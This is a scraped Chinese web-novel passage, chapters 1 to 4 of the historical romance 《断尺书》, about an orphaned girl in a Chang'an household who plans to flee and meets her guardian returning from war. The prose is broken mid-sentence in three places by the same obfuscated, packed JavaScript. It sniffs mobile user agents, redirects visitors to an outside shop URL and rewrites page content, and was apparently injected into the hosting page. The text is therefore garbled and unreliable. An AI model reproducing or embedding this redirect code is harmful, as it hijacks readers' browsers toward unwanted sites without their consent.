《断尺书》 1. 着了风寒 小琉千算万算没料到会在逃离长安的夜里和晏庭重逢,踯躅着,不知该唤他晏六叔还是晏庭。 为什么要在她已下定决心的时候又相遇呢,已厘清的心绪又被搅得凌乱。 她装不认识,卯足劲儿往城门跑,可晏庭将她拦腰一抱,扛在肩上不由分说往晏家走。 血液倒流的胀痛感,令小琉不禁恍惚,约半月前,她也是这样被晏家的人欺负的。 她不过想出府,学堂上交了夫子布置的居学后,便提早下了学堂。偷摸到后院西南小门,欲从这里神不知鬼不觉地出府。 哪知被偷摸尾随的晏钟天捉了个正着。 为了逼她说出出府的缘由,晏钟天命家里的奴仆给她一顿收拾,奴仆干粗活的,长得人高马大,一身腱子肉,小琉被扣在他肩上,膈得十分难受。 但她不可能说出真话,两方僵持不下。 晏钟天是个急性子,不耐烦便一声令下,将小琉的头直直地插进了刺骨的水池里。 秋天池水冰寒刺骨,残败的枯荷飘在水面,这番折腾惊扰了池子里空游的鱼儿。 晏钟天被大夫人宠坏了,乖张顽劣不堪,唯有大夫人的话她听得进去。 一个小厮慌慌张张过来,凑到晏钟天耳边低语几句,晏钟天脸色大变,赶紧让奴仆放了秦琉。 小琉无力瘫坐在地上,捶胸咳嗽几声。头发全湿,衣领也湿哒哒往下滴水,一团团的水正在往外逐渐洇开。 小琉拧了拧衣领,甩几下头发,趁他们未留意,匆忙从小门逃了出去。 后院西南一隅不常来人,酷暑天热,大槐长得繁茂,枝下一片阴凉,槐花香气扑鼻,池塘的莲子脆甜,亭下时常有人来此处纳凉,秋风扫过,西南角便似荒芜一般了,残花败叶无人打理,人人都不爱来。 若不是小琉今儿一遭,西南角还得过仨月才能热闹。 落败秋景的罅隙间,闯进一抹富贵的艳红,柳如因拢了拢肩上的披帛,脚步匆忙,却面不改色。 原来是大夫人赶来了,这才使得晏钟天中断了欺凌小琉的行径。 “天奴!” 唤的是晏钟天的乳名。 听到母亲尖利的一嗓子,晏钟天吓得左右观望想逃。可惜无处可逃,因为此时此刻,他该出现在学堂才对。而学堂,在宅子正对角。 他是跟着秦琉偷摸来的后院。 对了……秦琉,晏钟天灵光乍现,想将脏水泼到秦琉身上,哪知一转身没瞧见人。 “死丫头,竟敢当着他面逃了?!” 晏钟天气得牙痒痒,却在母亲来到身前时立马转换嘴脸,谄笑道:“母亲,您怎么来了?” “你怎好意思反问我?”柳夫人摸了摸发髻,抚胸叹道:“若不是下人来与我说你逃了课,我怎会抛下你姐来寻你。你大哥夙兴夜寐,勤勉苦读,为的来日金榜题名;你阿姐日夜抚琴,盼公主诞辰上一曲惊鸿。” 柳夫人戳了戳儿子额头,“你呢,胸无大志,不学无术,偷懒耍滑。你让母亲如何心安!” 又是这些车轱辘话来回说,晏钟天听得耳朵都要起茧子了。 “娘~儿子知道了。”撒娇一般往母亲身边靠,“我发誓再也不逃课了。” 知子莫若母,柳夫人这次非得狠下心来,“发誓不作用,这几日我亲自盯你,国子监你若是考不上,那就别再叫我娘!” 这下晏钟天真怕了,低三下四求饶,“娘您多忙啊,管着一家上下,我还是不劳您费心了。再者,秦琉那丫头也经常逃课,您怎么不管管她!” “她姓秦,不姓晏。” 柳如因叹口气接着说,“虽说你六叔出征前嘱托我照拂她,可她毕竟不是晏家人,她姓秦,是个被自家人都嫌弃的孤女,且你六叔去了边关八载,杳无音讯,生死未卜,秦琉身在晏家,处境尴尬。”而后又狠狠拍了儿子一下,“你若不焚膏继晷读书,我们晏家才是真的要日薄西山了。” 晏钟天小声询问,“娘,六叔真得死在边关了吗?” 柳如因吓得立马捂住儿子嘴,扫视一番院子里没别的人,提起的心才回到胸中,“捕风捉影的事不准乱说,切忌不能在你祖母面前提你六叔。” 晏钟天茫然,小鸡啄米般点头。 晏庭是晏老夫人老来得的子,格外疼惜。 “你往后莫再与秦琉混在一处了,欺负她也不可,若是你六叔回来,她把你欺负她的事情桩桩件件全抖落干净,你小心受你六叔的鞭子,我听闻那军营里的人教训不成器的兵卒,都是这样的!” 晏钟天腿抖了三抖,哆嗦道:“不可能,我好歹是他亲侄子,他怎么可能向着外人。” 瞧儿子有了担忧,柳夫人嘴角偷扬,“你呀,要学会多与世家子弟打交道才对。” * 长安街上,小琉步履匆匆。 即使冒着回去会被大夫人罚跪的风险,小琉也要出府。她谋划了许久,不能在临门一脚时出岔子。 小琉虽然经常在夜里偷偷出府,但大白天还是头一回。按着二人约定的时辰和地点,小琉来到了一个偏僻幽深的小巷,这里地势偏低光照不足,巷子砖瓦里滋生了许多青苔。小琉扶着墙,来到门前叩了叩门。 顷刻间,门向里开了。 里头是个比小琉还矮一头的老婆子,头发花白,微弓着腰,待小琉进门后,婆子探头左右瞧了瞧,巷子阒寂无人,身子缩回去后迅速关上了门。 二人来到阴暗的房中。 小琉拿出钱,“说好的十两银子,分文不少。” 婆子拿到手里掂了掂,露出心满意足的微笑,“小娘子,你放十万个心,我这里给你弄的身份,保证官府看不出来,我马娘子行走黑市这么多年,有口皆碑。” 小琉不和她啰嗦,“东西呢?” “别着急,我这就给你。” 老婆子转了个身,在帘后翻找几下,嘴里不忘嘀咕,“保管和官府的一模一样。”拿了笑着走到小琉跟前,递给她。忍不住打量她一番,这小娘子长得真标志,一对弯眉笑眼,玲珑小嘴,芙蓉颜面呀,瞧着怪惹人怜惜。可惜了,能来她这儿办假户籍的,多是穷途末路之人,多活一日都是上天赏赐。 小琉接过仔细打开查阅,确实如她所说,和官府的可谓是一模一样,除非鼻子灵敏的人,才能发现这其中门道。小琉多拿出一两银子给她,“多给的银子希望你守口如瓶,忘记我找过你。” 老婆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341209|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然懂话中之意,眯眼一笑接过银子,“小娘子放心,老婆子最紧的就是嘴巴了。” 回府的路上,小琉脚步轻快,拿到假身份,他日若成功从晏家逃走,她便彻底自由,与这冷漠的长安再无瓜葛。 风吹来冷得她直哆嗦,只顾赴约,倒是忘了领口的衣服和头发全湿了。 回到府中,小琉走得小心,惊诧的是,竟然无人命她领罚。她偷摸出府的事就这么过去了?无人追究自然最好,正好迎合她逃京的打算。 回到荷姝院,院里的银杏叶落了满地,这树银杏还是小琉初到晏家时,晏庭为她种的。夏时飘绿,暮秋便泛黄至渐渐凋零,她对坐窗台,不少对着银杏伤春悲秋。同晏庭相处的两年,庭院热闹,荷姝院也曾给过她片刻欢欣,如今院子被奚落,连洒扫的下人都不够,下人四散,唯有贴身婢女还在了。 银杏树和廊柱间牵了一根晾衣绳,今日难得日头算好,春芽正抱着一床褥子回房,听见门开的声音缓慢回头,“小娘子!你终于回来了。”春芽赶紧将褥子抱进房中叠好,再出来问候主子,“娘子,您头发怎全湿了?深秋天寒,万一着凉了怎办。”近前一看,“怎的衣服也湿了,您不是从私塾回来的吗?” 小琉摇了摇头,“我出了一趟府,不巧还被晏钟天发现了。” “那……这模样就是拜小郎君所赐?” 小琉无力地点头。 进了房,春芽紧忙帮娘子换了身干净的衣裳,嘴上不忘打抱不平,“大夫人也真是的,平日里对小郎君百般娇纵,这才养成了他跋扈的性子,还偏爱作弄娘子你,要是六郎君还在,各房肯定不敢这么欺负娘子!” 听到晏庭,小琉嘴角倏地耷下来,“好了,将炉子生开,帮我擦干发丝。” 到了晚上,身体终于扛不住了,裹在褥子里的小琉身子发抖,只觉冷,颤道:“春芽,咱院里还有稍微厚点的褥子吗?” 春芽凝眉摇了摇头,“娘子,我连大雪时盖的褥子都翻出来了,您还觉得冷吗?” 小琉声音微微发虚,“没事,也许是我白天冷着了。” 又过了一个时辰,小琉呓语不断,春芽披着外衫进来瞧,“娘子?以前怎不记得娘子还会说梦话。”凑到跟前掌灯,发现娘子将先前盖的褥子全踢走了,伸手抚摸她额,“呀,怎么这么烫!” 春芽慌张去将落霜叫醒,声音急促又怕吵醒了娘子,“落霜,娘子身子发烫,估摸白天出去那趟着了风寒。”落霜本来动作迟缓,还在梦中,听到娘子身子不舒服,赶紧爬起来,一边穿衣服一边说,“此刻已是深夜,只能去霞芳院找大夫人了。” 春芽不免担忧起来,“若是大夫人指望不上怎么办,院里本存了些药草,可惜都用完了。” 落霜动作利索,已经收拾妥当准备出门,“她好歹管着后院,难道真能坐视不理?六郎君虽然生死未知,但……万一呢,万一六郎君哪天回来,见他们如此冷落对待娘子,猛地生气,他们就不怕六郎君扒了他们皮吗!” 要是六郎君真能回来就好了,娘子也不用受这么多欺负了。 看着落霜出去后未关紧的门,风吹得摇摇晃晃,春芽拢了拢心事,将门关紧后,紧忙去照看娘子了。 2. 六叔回京 千里之外的莽莽黄沙上,长长的一队人马正在整顿休息。帐外月色皎洁,晏庭立身而站,正沉默望着头顶的夜幕,一路风尘仆仆,盔甲不免蒙上了一层细沙,营里的兵卒累得躺床就睡,而他坐立难安。 他已不在京中多年,朝中局势难辨,此行回京,陛下又会何以待之,罢了,且走一步是一步。 沙漠里昼夜变化大,行军帐只能临时遮蔽风沙,晏庭卸下盔甲,欲换件厚衣物,不巧胸前的玉佩掉了出来。玉佩一直贴身戴着,尚有余温。 抚摸玉身,晏庭回想起往事,那年小琉穿着一件鹅黄小裙,站在廊下,支支吾吾半天,临了拿出玉佩,往他手上一递就跑开了。晏庭摇头失笑,后知后觉这是她送给他的生辰礼。 八年一晃而过,小琉已长大成人,晏庭既有“吾家小女初长成”的欣慰,也有近乡的担忧和迢迢两地多年的落寞,当时出征她未来送行,想必是心有怨怼。不知长安西市的酒肆是否还再贩卖三勒浆,当时以她年纪小为由不允许她喝,现在回去倒是可以同她一醉方休了。再去长兴坊买点毕罗和姜果,她应该会乐不可支地抱住他大腿,然后用双笑眼对着他说,“谢谢你六叔”。 想着想着,晏庭也不自觉轻笑出声。快些赶路吧,虽然圣上给的期限宽裕,但他归心似箭。 快寅时了,荷姝院里仍旧灯火通明。小琉卧在病榻,难受得紧皱眉头,春芽打了一盆凉水来,手巾沾水拧干后敷在她额上,另再用一条帕子擦身。春芽等得心急如焚,院子里迟迟没有动静,她想若是大夫人不管,她便不顾一切往老夫人院里冲。 门扉推动,落霜回来了,“春芽,大夫人说派人去请大夫了,人马上就到。”落霜气喘吁吁,投望了一眼娘子,仍有担忧。 “那就好,大夫来了就好。”春芽的心稍稍稳了稳。 “水——”小琉舔了舔干枯的唇瓣。 春芽将娘子扶了起来,让她靠在她身上,落霜则去倒茶水,满满的一杯递给春芽,她再递到娘子嘴前。 不多时,大夫人院里的老嬷嬷领着大夫来了,给娘子把了脉,再开了药方。落霜拿着药方紧忙去抓药,留下春芽照顾娘子。 大夫特意嘱托几句,“你家小娘子身子单薄,着了风寒需静养半月,不可再受凉,宜不出门,仅在院子里走动为好,切勿落下病根子。” 落霜和春芽整夜没阖眼,忙上忙下,给娘子喂下药,待娘子体温渐渐下去才彻底放下心。春芽坐在床榻边给娘子掖了掖被子,叹气道,“娘子呼吸终于平稳了。” 房中药味扑鼻,两人去到偏房小憩。 落霜困得哈欠连天,捂嘴打完一个哈欠,突然激动道:“春芽!我方才去大夫人院里,隐约听到了六郎君的消息。” 一番话将春芽的瞌睡也吓跑了,“真的!六郎君没死?” 落霜喜上眉梢,一个劲地点头,“听闻西北传来捷报,六郎君不仅不死,还立了大功!” 春芽眼眶里盈满了热泪,望向沉睡的娘子,擦擦眼泪,哽咽道:“我替娘子高兴。” 娘子一生过得极为艰难,秦家时便不受宠,无爹无娘蹉跎了十年,幸得了六郎君怜爱来了晏家。与六郎君相处的两年里,娘子脸上常挂笑意,可偏偏六郎君去了西北。做奴婢的不好置喙主子的决定,但六郎君对娘子的疼爱,她们下人都看在眼里。 幸好六郎君即将回京,此后该我们娘子享福了。 天边渐渐泛起鱼肚白,小琉睡了一个很沉的觉,梦里依稀听到了晏庭没死,即将回京,她看不见他的相貌,梦里的他一直背着面,身子模糊。八年太久,久到一个人的体态相貌全忘了。 小琉撑着胳膊起身,脚步虚浮无力。 “咳咳——” 小琉摸了摸额头,失神片刻。心里暗自感慨,好久没生过病了,可天意弄人,偏在逃离长安之际患病。 十日后有支商队要离京,商队里有她相熟的人,女子独行多份危险,故而她打算同行。即使拖着病殃殃的身子,她也必须得跟着商队去扬州。 天已大亮,小琉问道:“春芽,几时了?” 春芽进门,见娘子已起身,赶紧过去搀扶,“娘子昨夜发热,天蒙蒙亮时才褪去高热,您回榻上躺着吧,小心着凉。” 小琉顺着春芽的照顾,又躺了回去。春芽给娘子掖好褥子,微笑道:“您放心吧,大夫人体恤您身子还未痊愈,准允您不用去学堂。对了娘子,还有一个更好的消息。” 春芽眼冒亮光,嘴角弯道:“六郎君即将回京,听闻还是立功而返!” 小琉脑中一阵闷雷,躺下去的头悬在枕上,杏眼失神。 晏庭回京了?他还活着……活着就活着吧,活着真好,晏家人应该高兴了。她不是晏家人,而且即将离开长安。 临了又忍不住问道:“他何时回京?” 春芽摇头,“没明说,只说快了。” 小琉扬起的头又落回了枕上,那便希望他晚点回来吧,免得她出京的事横生波折。 * 这几日的晏府上下热闹非凡,为了晏庭回府的喜事,阖府洒扫除尘,更有早得了消息前来祝贺的人。 这股热闹也蔓延到了一向冷清的荷姝院,一队丫鬟陆陆续续进了院子,为首的丫鬟抱了一篮子炭,紧跟的丫鬟也大包小包拿着东西。 落霜正在扫落叶,茫然看着平日从不来荷姝院的一批人,不打招呼就进了院子。 “这是落霜吧。”一个老嬷嬷殷勤地笑了笑。 “是我,见过嬷嬷。”落霜放下扫帚,搁在一边,警惕地盯着面前霞芳院的一群人。 “听闻秦小娘子着了风寒,大夫人很是担心,便命我带了一些补品来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341210|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是多贵重的东西,夫人一点心意。”老嬷嬷命身后的人将东西都抬了进去,谀笑一番,“娘子是在房中吧,我进去瞧瞧。” “诶!”落霜挡拦不住,老嬷嬷像进了自家院子,一进闺门便直撩幕帘入塌边,秦琉躺在床上浅眠,嘴唇虚白,静的像一只乖巧的兔子,老嬷嬷满脸关切样,“秦小娘子,我代夫人来看望你,娘子吉人自有天相,定能很快痊愈。” 小琉闻声缓转醒来,她与霞芳院的人往来较少,与这个嬷嬷打的交道算多了,“刘嬷嬷。”小琉声音虚弱地唤了一声,欲起身行礼。刘嬷嬷赶忙拦下,“娘子身子未愈,快些躺着。” 小琉也不逞强,捂好被子继续躺着了。 “夫人琢磨六郎君快回京了,娘子的身子也该快快好转才是,便掏自家银库给娘子备置了上好的银炭。”老嬷嬷笑得假情假意,小琉当然知晓其中用意,了然一笑,“嬷嬷放心,我会记住夫人的一番好意。” 送走一行人,小琉搭上外袍由春芽扶起身来到了院中,确实有好些药材和食补,小琉无奈惋惜,霞芳院的人打错算盘了,何必对她奉承,她即将要离京了。 同样的伎俩在晏庭被先皇钦定为翰林学士,请至东宫作太子伴学时,各院的人也用过。 得势时,众人攀附你,失意时,便嫌你如敝履。 这不,二房的罗夫人也来嘘寒问暖了一番,大房柳如因育有两子一女,二房罗冷玉膝下有一子一女,两个院总暗暗较劲,罗冷玉卯足劲希望自己的儿子超过柳如因的大郎,可偏偏天不遂人愿,偏与柳如因的不成器的小儿子臭味相投。两个女儿倒是水平不相上下,皆沉心琴棋书画,祈愿来日攀个金女婿。 晏府还有另一号存在感与秦琉相当的人,当年晏老爷病故后,妾室何雪便仗着儿子做了举子,庶支欲摆脱大房生活,谁承想,儿子为官时感染时疫不治身亡,朝廷虽有抚恤金,但山高皇帝远,地方官横行霸道,官官相护,他们孤儿寡母的生活实在难以为继,何雪便带着儿媳和孙女跋涉回京,求晏家当时的主母,也就是晏老夫人收留。晏老夫人心善,小娃娃实在可怜,毕竟是老爷的后代,便做主收留了她们。 何夫人比晏老夫人小十岁,儿媳是个不懂人情世故的老实人,不似柳如因和罗冷玉那般精明,所以人虽老,却时常在各个院间周旋,她得借着晏家的门楣替孙女谋划。 晏家以往靠着晏家大郎晏羽撑门庭,可自晏老爷去世后,晏家子辈的仕途就像缺口气力,停滞不前了。随着六郎晏庭坠地,晏家的仕途有了希望,晏庭早慧,自小富有神童美名,十八入翰林,又得天子首肯做了太子伴学,一时风头无两。 可惜四年后,晏庭自请脱去襕衫,不顾长辈反对入了行伍,一去便是八年。如今再回长安,风头依旧,晏庭立下赫赫战功,龙颜大悦,他日怕是要成长安的新贵了。 3. 重逢 不到半月,突来的一阵寒气席卷西都,长安落了一层薄雪。天大亮小琉起床的时候,推牖入目之处,零星雪白点缀万物间。与商队商量的日子是明天,但白天她不好出门,只好今夜宵禁前就动身。 小琉拿出包袱装上此行的衣物和细软,时不时捂嘴轻咳几下,春芽在一旁欲言又止。 小琉瞧出了她的心思,“你有话就直说。”春芽叹声气,“小娘子真不等六郎君回来吗?现在天寒地冻的,您身子未大痊……万一病体经不住折腾,更严重了怎么办?” 小琉莞尔一笑,“哪有你说的那么夸张,还没入冬呢,过几日兴许就回暖了。至于六叔……无缘再重逢了,你就替我捎句话。”小琉思忖,他应不缺功名财富了,那就“祝他幸福安康,我也去奔我自己的前程了。” 待落霜回院子,小琉又问了一遍:“你俩当真不愿意跟我走?” 春芽与落霜回视一眼,皆眼睫耷拉,落寞地低下头去,春芽叹声气,“小娘子,不是我们不愿意跟你走,而是我俩无法走。” 落霜补充,“当初我二人就是被老夫人买来伺候六郎君的,六郎君又将我俩派来伺候您,我二人的奴籍都在晏家,即使身自由了,心也不会自由。跟着娘子也是累赘,您一人一身轻松,平安到扬州后,愿您尽早找到亲生母亲。” 二人言辞恳切,小琉也不再赘言。这么些年,她二人的好,小琉铭感五内,“也怪我势单力薄,来日我若发迹,我定回长安赎走你们的奴籍身份。” 夜幕而至,小琉拿着行囊悄声到西南的小门,几日的风寒也算是因祸得福了,晏钟天被大夫人管得严,无暇招惹她。 小琉计划酉时动身,这个点下人忙完一天的事,估摸该休息了。待到夜深人静,春芽和落霜来给她放哨。 小琉顺利地到了西南小门,和春芽、落霜无声对望几下,各自心领神会,此去一别不知何时才会再见了。 暮鼓敲响,小琉小心翼翼关上门,脚步匆匆往原定的客栈去,拢了拢大氅张望左右无人,便提起裙摆加快走。客栈离城门近,自鼓声响起,百姓皆往回走,唯有小琉逆着人潮。 “前面的小娘子,城门已经关了!巡街的兵卒会误伤你的。” 小琉迟疑几步,是在叫她吗?刚想继续走,一道疾驰的箭矢射到了小琉脚边。接着一股强劲的力将小琉拉开了,小琉转头撞上一个高大的身体。 “啊!”小琉吃痛一声。 “夜已深,此时乱窜小心弓箭不长眼。” 此人真硬,撞上他的胸膛小琉的脸生疼,他身上携带着一种青泥夹杂雨雪的清冷味道,像是风尘仆仆的赶路之人。抬眼望去,胡子拉碴,一看就是个莽夫。 小琉摸了摸鼻子,退步拉开距离,“多谢,不过我不是去城门,而是……” “小琉?” 这个声音……小琉与之对视。 天冷,呼出的气凝结成了水雾,待雾散去,借着微弱的月光看清了面前的人,对面这人虽胡子浓厚,但眉眼格外熟悉,一对潇洒剑眉丹凤眼,鼻子高挺,眉头微蹙起来,少了往日的温润谦逊,多了几分张扬豪迈。 是晏庭吗?小琉心道不好。 立马倒转背对他,“壮士认错人了。”脚步加快,旁若无人继续朝着城门走。 与此同时,金吾卫的军吏盯上了这边,一个身穿戎服大袍的都尉,拉起弯弓,对准了披着桃粉大氅的小琉。 说时迟那时快,晏庭先射出的箭一步,扛起了奔走的小琉。箭矢落空,射在了地上。 “啊——” 小琉又被人扛在了肩上,脑子充血的感觉顷刻复现。 “放我下来!”小琉在晏庭肩上乱犟,“我不认识你。” 晏庭虽与秦琉八年未见,但她的声音他记忆犹新,且方才那一面,已足够他确定是她。 她在他肩上待得不安分,晏庭照旧轻轻拍了一下她屁股。 那一拍,两个人都愣住了。 小琉像狂躁的小兽瞬间被安抚了,顷刻间偃旗息鼓。 拍完晏庭就后悔了,手愣在空中不动。 她已不再是跟在他身前身后,娇弱的女娃娃,如今小琉已成年,他怎能依旧如此对待。 晏庭将小琉放到地上,向迎上来的金吾卫都尉拱手作歉,“武侯,小民失礼,小女顽劣不知街鼓已响,这就领小女回家。” 初到晏家时,下人议论六郎君给自己找了个童养媳,晏庭得知后处置了这帮爱嚼舌根的奴仆。 小琉摸不清楚自己处境,讨好般地唤了他声“爹”。晏庭一呛,回她,“我生不出你这般大的女儿,家里行六,你就随后生一同叫我六叔吧。” 六叔这称呼便一直喊了下去。 晏庭话落,小琉无声看了眼他。 金吾卫也并非不近人情,催促他二人赶紧回家。 晏庭连忙道是。 小琉将头扭到一边,继续默不作声,装作不认识。 “小琉?”晏庭又叫了她一声。 想必晏庭已经认出了她,此刻再装糊涂就过于明显了,小琉逼自己看向面前的“虬髯客”,装作讶然道:“你是……晏六叔?” 后知后觉的小琉立马福了福身,“六叔万福。” 晏庭扶她起身,“小琉,夜已深你要出城吗?” 出京的事小琉没打算让除她们三个以外的人知道,手里拿着的包袱用大氅遮掩一二,灵机一动道:“有只猫往这边跑了,天寒我担心它会冻死。” 一阵凄寒的夜风恰合时宜地刮来,晏庭担忧她着凉,想给她拢拢衣领,又想起时过境迁,小琉已长大成人,顾虑男女之别,抬起的手又放了下去。 晏庭忽略她藏在身后的包袱,收回目光,点头道:“小猫若是受冷缺食,会自己跑回府的。” 小琉不敢与之对视,装作担心地四处张望,最后点头回应。 时辰已不早,二人回了晏家。 回来走的晏家大门,门人睡眼惺忪,轰隆隆拉开朱门,瞧见一男一女站在跟前,借着微弱亮光看清了女子相貌,这不是秦娘子吗?那一旁的男子是谁,难不成私会外男了? 门人正打算佯装不见,糊弄过去,岂料那男子竟然喊了他一声: “虎子。” 门人瞌睡顿消,他怎知道他的名字?惊讶瞧过去,将那人从上到下打量一遍,心里狐疑万分,难道…… “六郎君?” 晏庭点了点头,“我如今的模样你还能认出来,算我没白疼你。” “真的是六郎君,六郎君回来了!”门人惊动起来,声音免不住调高。 晏庭拍他肩阻止他,“夜深各院已歇下,莫惊动府里,待明早我收拾妥当再向母亲问安。” 回得匆忙,晏庭的屋子还未完全洒扫干净,小琉欲先行回自己屋子,春芽和落霜两人正打算睡下,听见院里传来动静,疑惑起身。 春芽惊道,“娘子!你怎又回来了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341211|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小琉不知该从何说起,往后看去,浅浅一句:“晏六叔回来了。” 二人不约而同惊讶:“啊?” 晏庭缓缓走进院子,解释一句:“为了避免路上意料之外的危险,我便先行队伍一步到了长安。”晏庭浅笑,丝毫没有不适,“春芽替我打桶热水,我梳洗一番好进宫。” 春芽愣了会儿神,穿好衣服下阶,“六郎君!真是你回来了,怎的夜深还要进宫?”春芽克制不住脸上的喜悦,意识到自己多嘴了,连忙去干活,“我这去烧水!” 晏庭往自己屋走,踩在石子路上,迟疑几步又顿住脚,朝小琉屋子方向添了句,“今夜进宫后我或许不会再回府,你们先歇息吧。” 若不是回城的路上遇上小琉,这一趟他是直接进宫的,回府也好,体面一点面圣。 晏庭明明准备了一箩筐的话想说,临了却一句也说不出来,沉思半晌,只好扭头回了屋。 沐完浴,晏庭换了身崭新绣袍,坐于镜前,拿起刮刀一点点刮走浓密的胡髭,一张俊秀的脸顷刻浮现镜中。镜中的晏庭比起八年前的晏庭,更为坚毅沉重,眉尾上多了一条若隐若现的疤痕。 晏庭经过书房,犹豫再三,终是未踏进,手里攥紧剑鞘走了。 晚上折腾半宿结果又回到了房中,小琉放下包袱,累得两眼失神,往凳上一坐急忙喝了杯茶。遇见晏庭在她计划之外,她只想默默离开,毕竟道别的沉重她无心体会。 落霜在一旁犹犹豫豫,迟疑开口:“娘子是不走了吗?” 小琉放下茶盏摇头,“走,三日后还有最后一队往金陵去的。”只不过晏庭回了家,出府或许更不易了。 想到晏庭……他怎么变化这么大,简直判若两人了。印象里,文质彬彬,温润如玉的晏六叔,总是细声教她写字吟诗,今夜一见,他手里拿着一把剑,皮肤也比以前深了个色,浑似个见过血的虬髯客。 听到院子的动静,小琉碎步出门叫住人,“晏六叔。” 晏庭回头,梳洗过的晏庭终于与记忆的晏六叔有了重合之处,长身玉立,风度潇洒。 小琉踌躇几步,来到院子里,低头颇有礼地道:“夜路多有不便,六叔小心。” 晏庭沉吟半晌,眼前的小琉有点熟悉又有点莫名的陌生,此情此景,倒有点像她初来晏家时的姿态,乖巧知礼,但较之更为人亲近。 晏庭感到些许古怪,但微笑回道:“你这唠叨倒让我有了真切的归家之感,夜深了快歇息吧。” 晏庭近身给小琉拢了拢大氅,“好了,进屋吧,亲眼见你进去后我就走。” 他真的在她进门后才离开,晏庭方才给她理衣领的时候,真让小琉有了恍惚之感,十岁那年,小琉连一双合脚的绣鞋都没有,几个指头被挤得变形,身上的衣服也是缝缝补补。收养她那日,晏庭令她去收拾包袱,小琉回房搜罗半晌,结果没什么可带走的物件。 初到晏家,晏庭最先弥补的就是她衣食住方面的需求。荷姝院的一草一木都是按她喜好建的,吃穿也遵她想法。 小琉初到晏家,人生地不熟,怕她不适应,晏庭每日一下值就来陪她,明明他自己都未曾娶妻生子,却提前笨拙地学如何养孩子。 回想往昔,小琉盯着自己扔下的包袱出神。 落霜帮她脱下外衣,“娘子,今夜既已回家,那便安心睡下吧。” 小琉长叹一声,在床上辗转难眠。晏庭真的回来了,她该喜还是忧呢? 4. 学堂风波 晏庭连夜进宫,与圣上谈了半宿,果然宿在宫中未归。 翌日清晨,晏家上下都得知了晏庭归京的消息,小琉身子已近好转,今日该去学堂了。 小琉其实比大多的晏家孙辈年龄都长几岁,在长安这个年龄的小娘子,一般家里都开始为其说亲了,但小琉无亲生爹娘教养,自然无人替她张罗。 晏家家教森严,注重家学,在如今科举逐渐式微的环境下,依旧请老先生设立私塾,为的是即使子孙后辈不为官,也要知书明理。 学堂门口,二房的晏水月和晏钟帆姐弟早已到了,夫子年纪大,上不了整日的课,只能上午下午的授课间或来。 今日是上午授课,深秋之晨格外冷,按晏钟天慵懒的性子,肯定起不了早。 小琉坐在晏水月的后桌,这里离外门近,风股股地往里灌。 “咳咳。”风寒侵体,难免落了一点后遗症,小琉时不时就得捂住口鼻,轻轻咳嗽。 不一会儿,晏钟天终于在临夫子授课时,被两个丫鬟推进了学堂。 “哎呀行了,我不是已经来了吗!”晏钟天不耐烦地嘟囔几句,使唤几个下人赶紧滚。 夫子年事已高,对晏钟天这类等顽劣成性的郎君,教诲再多也是无济于事,索性睁一只眼闭一只眼,他来上课,他便规规矩矩做他的夫子,他若不来,也只过后差人去问一嘴,不过走个过场罢了。 学堂不大,学生的书案不过两列,左边是郎君的,右边是小娘子的。不过晏家女眷多,晏水心坐在郎君那列。 心娘心气高,长房出身,自诩高门贵女,平日里时常与侯府千金来往,自然是看不起晏家其他出身的女儿。 可今日心娘的位上却不见人。 二房的月娘从晏钟天进门便将目光死死盯在他身上,往常他们姐弟二人不都是一前一后进学堂吗,今日怎么不见他姐? 趁夫子还在慢悠悠翻书,月娘忍不住问了:“天表弟,你姐心娘呢?” 晏钟天撑起懒散的眼皮,不耐烦地扭头,敷衍一句:“阿姐忙着练琴,娘已和夫子打过照面,近些日子不必来学堂。” 月娘脸色倏地变差了,从他进门她便猜的八九不离十。 为了在公主寿宴上大放异彩,晏水心真是煞费苦心啊。早知她如此,她也不来学堂了。今日学堂后,她也要阿娘去和夫子说道说道。 见晏水月气嘟嘟的一张脸,小琉在一旁垂眸暗笑。 心娘抚得一手好琴,月娘避其锋芒,选了丹青。自公主府的拜帖送至晏家,她俩便大门不出二门不迈了,公主作为皇亲贵胄,自然各家都想去攀附,她二人如此,倒也不稀奇。 一堂课一晃而过,夫子抚了抚花白的长须,说了声落堂。 晏钟天如释重负,起身瞧见秦琉在奋笔疾书,冷嗤一声。这么努力,平日不还是得丙等的成绩,装努力给谁看呢。 气不打一处来,他将近日母亲的严加管教都归咎于她,狡邪的目光盯住了晏水月书案上的一根玉簪。 待小琉收拾好书袋,正欲转身离去。这时晏钟天三步并作两步靠近,将小琉一撞,小琉一个趔趄,正正好撞在了月娘书案的角上。 小琉腹部一阵钝痛,捂住腹部无声哎哟,疼得眉头越皱越深。 